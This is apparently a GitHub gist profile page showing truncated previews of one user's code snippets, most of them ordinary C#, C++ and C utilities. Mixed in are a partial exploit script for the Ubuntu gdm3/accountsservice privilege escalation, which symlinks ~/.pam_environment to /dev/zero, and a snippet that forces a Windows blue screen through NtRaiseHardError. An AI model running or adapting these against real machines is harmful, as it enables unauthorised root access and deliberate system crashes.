Skip to content

Instantly share code, notes, and snippets.

View Unknown6656's full-sized avatar
☣️
cat /dev/urandom > /dev/brain

Unknown6656 Unknown6656

☣️
cat /dev/urandom > /dev/brain
View GitHub Profile
@Unknown6656
Unknown6656 / .editorconfig
Created November 25, 2023 08:57
.editorconfig
# Remove the line below if you want to inherit .editorconfig settings from higher directories
root = true
# C# files
[*.cs]
#### Core EditorConfig Options ####
# Indentation and spacing
indent_size = 4
private static X509Certificate2 CreateSelfSignedCertificate(Guid? guid, bool is_server, (IEnumerable<string> Hosts, IEnumerable<IPAddress> Addresses)? alts)
{
string subject = guid?.ToString()?.Replace('-', '_') ?? ALT_DOMAIN;
if (is_server)
subject = $"<server {ALT_DOMAIN}>";
$"Generating X509 encryption certificates for \"{subject}\"...".LOG();
@Unknown6656
Unknown6656 / init_block.cpp
Last active February 27, 2022 21:17
An initializer block for constant fields, variables, and members
namespace unknown6656___init_block
{
struct __empty {};
template <class F>
inline decltype(auto) operator+(__empty, F&& f) noexcept
{
return std::forward<F>(f)();
}
}
@Unknown6656
Unknown6656 / csproj-template.csproj
Last active July 28, 2024 16:13
Template for C# .NET8 project files
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
<LangVersion>preview</LangVersion>
<EnablePreviewFeatures>True</EnablePreviewFeatures>
<!-- <GenerateRequiresPreviewFeaturesAttribute>False</GenerateRequiresPreviewFeaturesAttribute> -->
<Nullable>enable</Nullable>
<NullableContextOptions>enable</NullableContextOptions>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
@Unknown6656
Unknown6656 / CPP_IS_FUCKING_RETARDED.hpp
Last active February 27, 2022 21:17
CPP IS FUCKING RETARDED
// Use this include if you have a class with const members and have
// trouble using the assign or copy constructor. Thank me later.
//
// Example:
// class A {
// const int X, Y;
//
// A() : A(0, 0) { }
// A(int x, int y) : X(x), Y(y) { }
//
#!/bin/sh
# https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
cd ~
PAM=~/.pam_environment
if [ -f "$PAM" ]; then
mv "$PAM" "$PAM~backup"
fi
ln -s /dev/zero "$PAM"
echo "PLEASE GO TO 'Settings > Region & Language' AND TRY CHANGING THE LANGUAGE."
echo "THE UI WILL FREEZE. YOUR CPU MIGHT GET ANGRY. IGNORE BOTH. GO BACK TO THIS TERMINAL."
using System;
namespace BlackScholes
{
public enum OptionType { Put, Call }
public static class BlackSholes
{
/* The Black and Scholes (1973) Stock option formula
* C# Implementation
using System.Runtime.InteropServices;
using System;
public static unsafe class Program
{
[DllImport("kernel32.dll")]
private static extern void* VirtualAlloc(void* addr, int size, int type, int protect);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(void* addr, int size, int new_protect, int* old_protect);
[DllImport("kernel32.dll")]
@Unknown6656
Unknown6656 / HardError.cs
Created January 11, 2019 16:04
Generates a BSoD on Win32- and a kernel-panic on UNIX-Systems
using using System.Runtime.InteropServices;
public static unsafe class HardError
{
[DllImport("ntdll.dll")]
private static extern int RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool _);
[DllImport("ntdll.dll")]
private static extern int NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, void* Parameters, uint ValidResponseOption, out uint _);
@Unknown6656
Unknown6656 / single-linked-list.c
Last active April 1, 2018 08:05
Einfach verkette Liste in C
#include <stdlib.h>
#define null 0
#define true 1
#define false 0
// Der Typ des gespeicherten Wertes
#define valuetype unsigned int
// ein Listenknoten